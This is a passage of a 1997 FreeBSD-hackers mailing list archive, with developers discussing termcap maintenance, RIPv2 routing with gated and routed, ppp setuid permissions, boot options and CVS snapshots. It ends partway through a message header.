(PDT) Received: from lsd.relcom.eu.net (lsd.relcom.eu.net [193.124.23.23]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA17592 for ; Sat, 20 Sep 1997 10:38:01 -0700 (PDT) Received: (from ache@localhost) by lsd.relcom.eu.net (8.8.7/8.8.7) id VAA25676; Sat, 20 Sep 1997 21:37:09 +0400 (MSD) Date: Sat, 20 Sep 1997 21:36:57 +0400 (MSD) From: =?KOI8-R?B?4c7E0sXKIP7F0s7P1w==?= X-Sender: ache@lsd.relcom.eu.net To: "Klaus-J. Wolf" cc: hackers@FreeBSD.ORG Subject: Re: termcap In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sat, 20 Sep 1997, Klaus-J. Wolf wrote: > > termcap database now officially maintained by ncurses people, namely Eric > > S. Raymond, and FreeBSD tries to adopt those entries when possible. > > Officially? You make me laugh. Official to whom? It is the wrong date to make Officially for BSD camp. Previously termcap database was maintained in Berkeley. They pass termcap maintaining right to Eric in 1995. See http://www.ccil.org/~esr/terminfo.html > > Old curses/termcap project not maintained anymore in favor of ncurses > > which is default curses for BSD now, it is official position of old > > curses/termcap maintainer. > > Funny thing. NCurses relies on terminfo, not on termcap. Someone seems to have > crippled NCurses a little to make it termcap-conforming. ncurses relies on termcap too. It can work in termcap-only system. -- Andrey A. Chernov http://www.nagual.pp.ru/~ache/ From owner-freebsd-hackers Sat Sep 20 11:01:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA18976 for hackers-outgoing; Sat, 20 Sep 1997 11:01:30 -0700 (PDT) Received: from ingenieria ([168.176.15.11]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id LAA18962 for ; Sat, 20 Sep 1997 11:01:19 -0700 (PDT) Received: by ingenieria (SMI-8.6/SMI-SVR4) id NAA24206; Sat, 20 Sep 1997 13:47:32 -0400 Date: Sat, 20 Sep 1997 13:47:31 -0400 (EDT) From: Yonny Cardenas To: hackers@freebsd.org Subject: RIPv2, gated, and routed (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Date: Fri, 19 Sep 1997 16:27:32 -0600 From: Vernon Schryver To: Gated-people@gated.merit.edu Subject: RIPv2, gated, and routed } > Add interface ppp0 200.20.30.1 --> 9.30.20.200/32 } } }If this RouteD - you have the wrong list. Agreed. Since the topic has not gone away, and some incorrect statements have been made, I'll answer. }If this RouteD - you have the wrong list. Since it is ICMP router }discovery - I suspect you have Vernon Schryver's updated version. It looks likely. } > Why 9.30.20.200/32 ?. It=B4s 200.20.30.9.=20 } } I was going to tell you that not only do you have the wrong list } but you also are using an address in IBM's class A block. However, } this is obviously a case of a missing htonl() or ntohl() invocation } on an Intel processor (which stores fullwords and halfwords with the } least significant byte in lowest addressable byte). People outside SGI found a bunch of htonl()/ntohl() bugs (I think) last year. The most current source is in ftp.sgi.com:sgi/src/routed.tar.Z ] >the ppp interface supports multicast: ] ] >ppp0: flags=3D8051 mtu 1500 ] >(on my system) As long as your PPP interface just stuffs multicast packets into the PPP pipe, and your kernel does the right things with multicast packets that come out of the PPP pipe, the right things should happen. However, since PPP is a point-to-pint interface (as indicated by common sense and IFF_POINTOPOINT bit in your struct if_net as shown by your system), it is just as well for a RIPv2 implementation to send RIPv2 using unicast addresses. ] Is OK, I am usig FreeBSD 2.2.1 and gated 3.5Beta3. I do not know how recent that is. ] >Try gated; it can support RIPv2 better. I beg to differ. From what I saw of both 3.5 and 3.6, RIPv2 is not the favorite protocol of `gated`. When last I ported 3.5, some of the gated RIPv2 bugs were still there, a year or more after I reported them, and some of the implementation holes still existed (e.g. support for RIPv2 authentication). ] >it looks to me that routed's support of RIP2 is broken. ] >I can be wrong. Which OS version you are using? what is your ] >network configuration? =20 RIPv2 in `routed` works fine on a bunch of systems in the internal Silicon Graphics network, including over PPP links. There is a total of about 10,000 systems on 1,500 IP networks using the 100s of class-Cs and several class-Bs SGI has been allocated over the years. A few 100 systems are using RIPv2. OSPF and IGRP are also in use. The PPP code invovled is almost but not entirely the standard IRIX code (i.e. mine). ] I have two box how routers, one run gated (A) and other run routed (B), ] conected with link ethernet, the router (A) anounnce OK to ] other neighbor EGP, all its paths. ] ] ------ EGP -------9 RIP 1-------- RIP ] | |----... --------| A |**************| B |-------- ] ------ ------- -------- ] 200.20.30 ] >> Need configuration especial in file /etc/gateways ? How ? ] ] >you need it for routed; try gated, and I have seen you can write ] >gated.conf ;-) Nonsense! In general, you do not need /etc/gateways either with the 4.*BSD code based on Sam Leffler's primordial implementation nor with my code. In the old version of `routed`, /etc/gateways was needed only for some odd cases, such as telling `routed` to ignore an interface. In the FreeBSD version, you can tell `routed` to ignore an interface on the command line. Please read the fine (or perhaps not so fine) man page. In this case, I probably would run `gated` on system "A", doing EGP on the link to the left system "A" and RIPv2 on the PPP link. I would run either `gated` or `routed`, whichever I was comfortable with, on system "B". Depending on what is to the right of the PPP link, it might be possible to use static default routes on systems to the right, not use any routig protocol on the PPP link, and use a suitable gated.conf file to cause `gated` to advertise the network(s) on the right into EGP on the left. Vernon Schryver, vjs@sgi.com From owner-freebsd-hackers Sat Sep 20 13:44:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA25958 for hackers-outgoing; Sat, 20 Sep 1997 13:44:55 -0700 (PDT) Received: from counterintelligence.ml.org (mdean.vip.best.com [206.86.94.101]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id NAA25953 for ; Sat, 20 Sep 1997 13:44:52 -0700 (PDT) Received: from localhost (jamil@localhost) by counterintelligence.ml.org (8.8.7/8.8.5) with SMTP id NAA00360; Sat, 20 Sep 1997 13:43:12 -0700 (PDT) Date: Sat, 20 Sep 1997 13:43:12 -0700 (PDT) From: "Jamil J. Weatherbee" To: Nate Williams cc: freebsd-hackers@FreeBSD.ORG Subject: Re: UserLand Device Driver Thingys In-Reply-To: <199709201732.LAA24068@rocky.mt.sri.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Are you saying that I can tunnel /dev/cuaa0 from another machine over to the local machine seamlessly. On Sat, 20 Sep 1997, Nate Williams wrote: > > Why is it so impossible to have an arbitruary interrupt passed to a > > userland process, very much like a signal? > > It's not impossible, it's too darn slow crossing so many boundaries? > And, you *never* want an userland program to call cli. > > > It would be nice to be able to > > write device drivers that could open sockets and make data available on > > the network in an arbitruary way. > > See the 'tun' device, it does this for you already. > > > Nate > From owner-freebsd-hackers Sat Sep 20 14:02:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA26933 for hackers-outgoing; Sat, 20 Sep 1997 14:02:26 -0700 (PDT) Received: from bitbox.follo.net (bitbox.follo.net [194.198.43.36]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA26922; Sat, 20 Sep 1997 14:02:18 -0700 (PDT) Received: (from eivind@localhost) by bitbox.follo.net (8.8.6/8.8.6) id XAA18140; Sat, 20 Sep 1997 23:02:07 +0200 (MET DST) Date: Sat, 20 Sep 1997 23:02:07 +0200 (MET DST) Message-Id: <199709202102.XAA18140@bitbox.follo.net> From: Eivind Eklund To: =?KOI8-R?B?4c7E0sXKIP7F0s7P1w==?= CC: hackers@FreeBSD.ORG, brian@awfulhak.org, brian@FreeBSD.ORG In-reply-to: =?KOI8-R?B?4c7E0sXKIP7F0s7P1w==?='s message of Fri, 19 Sep 1997 16:53:59 +0400 (MSD) Subject: Re: ppp restrictions References: <199709191130.MAA26624@awfulhak.demon.co.uk> Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > On Fri, 19 Sep 1997, Brian Somers wrote: > > I think the best place to discuss this is on -hackers. Some people > > think that ppp should not be suid at all, others like it the way it > > was.... The way it was is IMHO unacceptable. It is a huge security hole, similar to sticking the root password in a world readable file in a slightly hidden location - acceptable in many situations, but not a way we can live with shipping systems. > Too many things works only from root, it is not flexible. Lets consider > suid abilities with and without suid requirements. If we have suid > abilities without suid requirement, we need yet one level of restriction > to separate them from normal user, it is "network" group currently. If we > have suid requirements, we don't need "network" group and return to old > model where all things are done from root. I like the present model. It allow you to be as strict (or not) as you want, but default to a secure value. "Principle of least surprise" indicate that users shouldn't be able to change routes; them doing that is more surprising than not being able to run PPP (which is easy enough to fix) Eivind. From owner-freebsd-hackers Sat Sep 20 14:13:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA27375 for hackers-outgoing; Sat, 20 Sep 1997 14:13:47 -0700 (PDT) Received: from usr07.primenet.com (tlambert@usr07.primenet.com [206.165.6.207]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA27369 for ; Sat, 20 Sep 1997 14:13:45 -0700 (PDT) Received: (from tlambert@localhost) by usr07.primenet.com (8.8.5/8.8.5) id OAA24268; Sat, 20 Sep 1997 14:13:42 -0700 (MST) From: Terry Lambert Message-Id: <199709202113.OAA24268@usr07.primenet.com> Subject: Re: free inode //612 had 208 blocks To: joerg_wunsch@uriah.heep.sax.de Date: Sat, 20 Sep 1997 21:13:41 +0000 (GMT) Cc: freebsd-hackers@FreeBSD.ORG In-Reply-To: <19970920191957.VJ14474@uriah.heep.sax.de> from "J Wunsch" at Sep 20, 97 07:19:57 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Sep 5 18:10:11 sax /kernel: free inode //612 had 208 blocks > > Is this something to worry about? (Machine running FreeBSD 2.1.) Is this after a crash and reboot? Or an NFS server? If an inode that is being used as a swap store is deleted, then the inode hangs around with a non-zero reference count. When the process goes way, the inode is deleted and the blocks recovered. If this wasn't a fsck message (doesn't look like one), then my guess is that it's over-ambitious error reporting. If it happens frequently, it may be more serious corruption. But a one-time-occurance is not a problem, especially fater one of the two events described above. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sat Sep 20 14:24:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA27823 for hackers-outgoing; Sat, 20 Sep 1997 14:24:33 -0700 (PDT) Received: from bitbox.follo.net (bitbox.follo.net [194.198.43.36]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA27816 for ; Sat, 20 Sep 1997 14:24:28 -0700 (PDT) Received: (from eivind@localhost) by bitbox.follo.net (8.8.6/8.8.6) id XAA18194; Sat, 20 Sep 1997 23:24:25 +0200 (MET DST) Date: Sat, 20 Sep 1997 23:24:25 +0200 (MET DST) Message-Id: <199709202124.XAA18194@bitbox.follo.net> From: Eivind Eklund To: hackers@FreeBSD.ORG In-reply-to: j@uriah.heep.sax.de's message of Sat, 20 Sep 1997 13:05:51 +0200 Subject: Re: Is there a way to prompt for boot device? References: <199709200219.WAA13122@smoke.marlboro.vt.us> <19970920130551.DB36336@uriah.heep.sax.de> Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > at least in 2.2.2, boot -a works only if you have the kernel > > configured with "swap generic", which i think is not generally > > recommended, though i can't remember why. > > For hysterical raisons? > > What the heck would break if we started shipping GENERIC in 3.0 with > `swap generic'? What might break if we allowed -a for other kernels > as well? I assume the answer to both questions is just ``nothing''. It is a minor security breach - it would e.g. allow somebody with physical access to boot from a floppy[1] even if the machine isn't set up to do so from the BIOS. I'm not principally against this, but I want an option to turn it off. There are cases where I'll need it disabled (and quite a few cases where I've been extremely frustrated that it is off by default, due to discrepancies between FreeBSDs and the BIOS idea of what is wd1 when you have two IDE adapters and no slave disks) Eivind. [1] Or perhaps more likely NFS. Or something else. Something evil, at least ;-) From owner-freebsd-hackers Sat Sep 20 14:41:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA28550 for hackers-outgoing; Sat, 20 Sep 1997 14:41:08 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id OAA28545 for ; Sat, 20 Sep 1997 14:41:05 -0700 (PDT) Received: from tom by misery.sdf.com with smtp (Exim 1.71 #1) id 0xCXFJ-0001NN-00; Sat, 20 Sep 1997 14:39:21 -0700 Date: Sat, 20 Sep 1997 14:39:20 -0700 (PDT) From: Tom To: Torsten Blum cc: Wm Brian McCane , gjennejohn@frt.dec.com, hackers@freebsd.org Subject: Re: ISDN Modems In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sat, 20 Sep 1997, Torsten Blum wrote: > widespread. Ciscos are the only one that support Predictor1 as far as I know. And FreeBSD's ppp supports predictor1 as well. Tom From owner-freebsd-hackers Sat Sep 20 15:08:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA29363 for hackers-outgoing; Sat, 20 Sep 1997 15:08:31 -0700 (PDT) Received: from usr02.primenet.com (tlambert@usr02.primenet.com [206.165.6.202]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA29358 for ; Sat, 20 Sep 1997 15:08:27 -0700 (PDT) Received: (from tlambert@localhost) by usr02.primenet.com (8.8.5/8.8.5) id PAA00982; Sat, 20 Sep 1997 15:08:20 -0700 (MST) From: Terry Lambert Message-Id: <199709202208.PAA00982@usr02.primenet.com> Subject: Re: UserLand Device Driver Thingys To: jamil@counterintelligence.ml.org (Jamil J. Weatherbee) Date: Sat, 20 Sep 1997 22:08:20 +0000 (GMT) Cc: nate@mt.sri.com, freebsd-hackers@FreeBSD.ORG In-Reply-To: from "Jamil J. Weatherbee" at Sep 20, 97 01:43:12 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Are you saying that I can tunnel /dev/cuaa0 from another machine over to > the local machine seamlessly. No, he's not. Unless you are willing to write the tunneling code. Actually, devfs deals with this. Because the namespace for devices is the directory namespace instead of the major/minor namespace in a devfs system, it should be possible to export devices by exporting devfs. The main problems are: 1) Homogeneous access only -- device paramaters vary between OS implementations 2) NFS is inadequate to the task; it can not proxy ioctl() data and data responses between machines. This is actually a failing in NFS, since it's not a real hard problem, so long as you break the VFS/NFS connection at the right place, but again, it's ngoing to make it unportable. You could, of course, write your own proxy service and client device, if you wanted. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sat Sep 20 16:09:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA01449 for hackers-outgoing; Sat, 20 Sep 1997 16:09:08 -0700 (PDT) Received: from lsd.relcom.eu.net (ache@lsd.relcom.eu.net [193.124.23.23]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA01441; Sat, 20 Sep 1997 16:08:58 -0700 (PDT) Received: (from ache@localhost) by lsd.relcom.eu.net (8.8.7/8.8.7) id DAA00702; Sun, 21 Sep 1997 03:08:41 +0400 (MSD) Date: Sun, 21 Sep 1997 03:08:39 +0400 (MSD) From: =?KOI8-R?B?4c7E0sXKIP7F0s7P1w==?= X-Sender: ache@lsd.relcom.eu.net To: Eivind Eklund cc: hackers@FreeBSD.ORG, brian@awfulhak.org, brian@FreeBSD.ORG Subject: Re: ppp restrictions In-Reply-To: <199709202102.XAA18140@bitbox.follo.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sat, 20 Sep 1997, Eivind Eklund wrote: > I like the present model. It allow you to be as strict (or not) as > you want, but default to a secure value. "Principle of least It is not allows to run ppp from "network" group, only from root, so it not does what I want. > surprise" indicate that users shouldn't be able to change routes; them > doing that is more surprising than not being able to run PPP (which is > easy enough to fix) Normal users already can't change routes, we talk about "network" group users which may do this from my point of view. -- Andrey A. Chernov http://www.nagual.pp.ru/~ache/ From owner-freebsd-hackers Sat Sep 20 16:19:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA01833 for hackers-outgoing; Sat, 20 Sep 1997 16:19:16 -0700 (PDT) Received: from ingenieria ([168.176.15.11]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id QAA01825 for ; Sat, 20 Sep 1997 16:19:04 -0700 (PDT) Received: by ingenieria (SMI-8.6/SMI-SVR4) id TAA24454; Sat, 20 Sep 1997 19:05:27 -0400 Date: Sat, 20 Sep 1997 19:05:27 -0400 (EDT) From: Yonny Cardenas To: hackers@freebsd.org Subject: Re: RIPv2, gated, and routed Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Other problem In the same topology, I have two Autonomous Systems (AS), the 1000 and the 2000 , they interchange routing information with EGP (gated). I am change net 200.20.30 for 57.0.0.0 in AS 1000. ASN 2000 ASN 1000 ) ( ------ ) EGP -------9 RIP 1-------- RIP ----------| C |------...---------| A |**************| B |-------- ------ ( ------- -------- 168.176.10 67.10.0 57.10.0 57.5.0 ) ( The netmask for AS 1000 is 255.255.0.0, and for AS 2000 is 255.255.255.0 The routers A and C run gated, the router B run routed. The AS 2000, not know net 57.0.0.0, but when I change link 57.10.0 for 47.10.0, they interchange routing information with EGP, OK. This is very bad ! In the same autonomous systems I am using two net IP ! The Router C is CISCO 4000, the others are box run FreeBSD 2.2.1 Why this problem ? Thanks for your help. From owner-freebsd-hackers Sat Sep 20 17:00:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA03099 for hackers-outgoing; Sat, 20 Sep 1997 17:00:10 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA03070; Sat, 20 Sep 1997 17:00:02 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id JAA02354; Sun, 21 Sep 1997 09:28:56 +0930 (CST) Message-ID: <19970921092855.07004@lemis.com> Date: Sun, 21 Sep 1997 09:28:55 +0930 From: Greg Lehey To: Bruce Evans Cc: atrens@nortel.ca, freebsd-bugs@FreeBSD.ORG, gram@cdsec.com, hackers@FreeBSD.ORG, julian@whistle.com, mike@smith.net.au, phk@critter.freebsd.dk Subject: Re: Bug in malloc/free References: <199709201345.XAA26010@godzilla.zeta.org.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <199709201345.XAA26010@godzilla.zeta.org.au>; from Bruce Evans on Sat, Sep 20, 1997 at 11:45:16PM +1000 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sat, Sep 20, 1997 at 11:45:16PM +1000, Bruce Evans wrote: >>>> "coredump, right now, no ifs, whens or buts. Thank you." >>> >>> A new signal, like SIGKILL except it generates cores, would be useful. >>> We would have to fix all the assumptions that sigset_t == int to make >>> room for another signal number. >> >> Is that really so important? You can call sigaction from a signal >> handler, so you can unmask the signal before calling it. A new signal >> for the sake of a couple of lines of library code? > > Only broken libraries could do that, since if a signal is masked then > something must want it masked. If a signal is masked, it's reasonable to assume that the something that wants it masked is also planning to continue execution. If our library function has decided that we want a complete, unconditional termination of the process, then by definition it has priority. There's really no difference between doing it this way and adding another signal, except that the latter adds to kernel bloat. Greg From owner-freebsd-hackers Sat Sep 20 17:13:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA03765 for hackers-outgoing; Sat, 20 Sep 1997 17:13:32 -0700 (PDT) Received: from bitbox.follo.net (bitbox.follo.net [194.198.43.36]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA03760 for ; Sat, 20 Sep 1997 17:13:29 -0700 (PDT) Received: (from eivind@localhost) by bitbox.follo.net (8.8.6/8.8.6) id CAA18604; Sun, 21 Sep 1997 02:13:07 +0200 (MET DST) Message-ID: <19970921021307.02893@bitbox.follo.net> Date: Sun, 21 Sep 1997 02:13:07 +0200 From: Eivind Eklund To: ????????????? Cc: hackers@FreeBSD.ORG, brian@awfulhak.org Subject: Re: ppp restrictions References: <199709202102.XAA18140@bitbox.follo.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.69e In-Reply-To: ; from ????????????? on Sun, Sep 21, 1997 at 03:08:39AM +0400 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, Sep 21, 1997 at 03:08:39AM +0400, ????????????? wrote: > On Sat, 20 Sep 1997, Eivind Eklund wrote: > > > I like the present model. It allow you to be as strict (or not) as > > you want, but default to a secure value. "Principle of least > > It is not allows to run ppp from "network" group, only from root, so it > not does what I want. Eh? Isn't it still setuid(), so network can do it? My understanding (I've not actually looked more at this, since I don't run PPP at the moment) was ppp owner root, group network, permissions 4550. Thats at least what looks reasonable; otherwise, you need root to use the program and can drop group network entirely. Eivind. From owner-freebsd-hackers Sat Sep 20 17:27:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA04139 for hackers-outgoing; Sat, 20 Sep 1997 17:27:12 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA04134 for ; Sat, 20 Sep 1997 17:27:08 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id JAA02521; Sun, 21 Sep 1997 09:56:57 +0930 (CST) Message-ID: <19970921095657.08487@lemis.com> Date: Sun, 21 Sep 1997 09:56:57 +0930 From: Greg Lehey To: Joerg Wunsch Cc: FreeBSD Hackers Subject: Re: How do I check out a snapshot? References: <19970920124235.58941@lemis.com> <19970920130830.UH42545@uriah.heep.sax.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <19970920130830.UH42545@uriah.heep.sax.de>; from J Wunsch on Sat, Sep 20, 1997 at 01:08:30PM +0200 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sat, Sep 20, 1997 at 01:08:30PM +0200, J Wunsch wrote: > As Greg Lehey wrote: > >> I have the CVS tree here on my system, and I know we've just done a >> snap, but I see nothing in the tree to help me determine where, when >> or what it is. What do I need to do? > > ``make release''. That'll give me -current, not the snap. > SNAPs don't have any particular mark in CVS. If you know the exact > date the original SNAP has been done, you can use -D to CVS to > checkout exactly this tree for building the release. I thought you were going to say something like this. That's fine, but wouldn't it (looks at jkh) be a good idea to publish the date and time of the snap? Greg From owner-freebsd-hackers Sat Sep 20 19:01:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA07014 for hackers-outgoing; Sat, 20 Sep 1997 19:01:27 -0700 (PDT) Received: from awfulhak.demon.co.uk (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA07007; Sat, 20 Sep 1997 19:01:19 -0700 (PDT) Received: from gate.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.demon.co.uk (8.8.5/8.8.5) with ESMTP id BAA21105; Sun, 21 Sep 1997 01:51:19 +0100 (BST) Message-Id: <199709210051.BAA21105@awfulhak.demon.co.uk> X-Mailer: exmh version 2.0zeta 7/24/97 To: =?KOI8-R?B?4c7E0sXKIP7F0s7P1w==?= cc: Eivind Eklund , hackers@FreeBSD.ORG, brian@awfulhak.org, brian@FreeBSD.ORG Subject: Re: ppp restrictions In-reply-to: Your message of "Sun, 21 Sep 1997 03:08:39 +0400." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 21 Sep 1997 01:51:18 +0100 From: Brian Somers Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > On Sat, 20 Sep 1997, Eivind Eklund wrote: > > > I like the present model. It allow you to be as strict (or not) as > > you want, but default to a secure value. "Principle of least > > It is not allows to run ppp from "network" group, only from root, so it > not does what I want. There are three different levels of access here. 1. The "normal" user who shouldn't be allowed to use ppp at all (I think we all agree on this). ppp is root.network/4550 to prevent normal user access. 2. The "server" user where ppp is run in -direct mode and the user does not have control over the super-user aspects of ppp. ppp allows any user to run in -direct mode (subject to the permissions above) 3. The "client" user who can alter routing tables at will. ppp insists that client users have a real uid of 0. I think it's important to distinguish between 2 & 3. There is still an outstanding issue. If a member of group network also has access to a normal shell, it's possible that they sabotage the system by creating a ~/.ppp.conf file that fondles routes, and then run "ppp -direct mylabel". I think under the current circumstances, the removal of the ~/.ppp.* file searching would be reasonable. Perhaps I should add a compile-time option to relax ppp's behaviour. It would allow client-mode ppp by members of group network and would read the ~/.ppp.* files (if found). > -- > Andrey A. Chernov > > http://www.nagual.pp.ru/~ache/ > -- Brian , , Don't _EVER_ lose your sense of humour.... From owner-freebsd-hackers Sat Sep 20 19:27:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA07968 for hackers-outgoing; Sat, 20 Sep 1997 19:27:42 -0700 (PDT) Received: from minor.stranger.com (stranger.vip.best.com [204.156.129.250]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA07960 for ; Sat, 20 Sep 1997 19:27:36 -0700 (PDT) Received: from dog.farm.org (dog.farm.org [207.111.140.47]) by minor.stranger.com (8.8.5/8.6.12) with ESMTP id TAA12663; Sat, 20 Sep 1997 19:31:32 -0700 (PDT) Received: (from dk@localhost) by dog.farm.org (8.7.5/dk#3) id TAA13931; Sat, 20 Sep 1997 19:30:28 -0700 (PDT) Date: Sat, 20 Sep 1997 19:30:28 -0700 (PDT) From: Dmitry Kohmanyuk Message-Id: <199709210230.TAA13931@dog.farm.org> To: wilko@yedi.iaf.nl (Wilko Bulte) Cc: freebsd-hackers@freebsd.org Subject: Re: Different kernels for the bindist and boot.flp? Newsgroups: cs-monolit.gated.lists.freebsd.hackers Organization: FARM Computing Association Reply-To: dk+@ua.net X-Newsreader: TIN [version 1.2 PL2] Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In article <199709181750.TAA02619@yedi.iaf.nl> you wrote: > > > This is why I was thinking about seperating the bin dist into a bin dist and > > > a kernel dist. The new bin dist contains everything non-kernel specific, > > > the kernel dists each contain one kernel with support for a specific set of > > > features, and the kernel config file used to create them. > > > > This rapidly reduces to supplying the kernel sources and a text editor. > > The alternative is a million different kernel distributions, which are > > nothing short of a terror to maintain. > There is already a name for this. It's called 'Linux' ;-) Yes, and in Linux, you can take any kernel you want, and boot from it, and then use the same root disk as you have used for installing your system on `standard' hardware. Without making release. Yikes, you can even boot from the same 2 floppies, get a shell, and then mount your hard drive and repair any hard errors. What's more, you can specify root disk and kernel disk separately. Linux, in fact, sucks ;-) -- EXCLUSIONS. This warranty does not cover the following: ... 3. Damages caused by ... external causes such as abuse, misuse, inadequate power supply or acts of God. -- Westinghouse refrigerator manual (submitted by sia@nest.org) From owner-freebsd-hackers Sat Sep 20 20:02:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA09312 for hackers-outgoing; Sat, 20 Sep 1997 20:02:05 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA09307 for ; Sat, 20 Sep 1997 20:02:02 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id UAA01575; Sat, 20 Sep 1997 20:02:11 -0700 (PDT) To: Greg Lehey cc: Joerg Wunsch , FreeBSD Hackers Subject: Re: How do I check out a snapshot? In-reply-to: Your message of "Sun, 21 Sep 1997 09:56:57 +0930." <19970921095657.08487@lemis.com> Date: Sat, 20 Sep 1997 20:02:11 -0700 Message-ID: <1572.874810931@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I thought you were going to say something like this. That's fine, but > wouldn't it (looks at jkh) be a good idea to publish the date and time > of the snap? I would have thought that was rather clear from the uname -a output when you first install the system. :-) Jordan From owner-freebsd-hackers Sat Sep 20 20:22:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA10422 for hackers-outgoing; Sat, 20 Sep 1997 20:22:45 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id 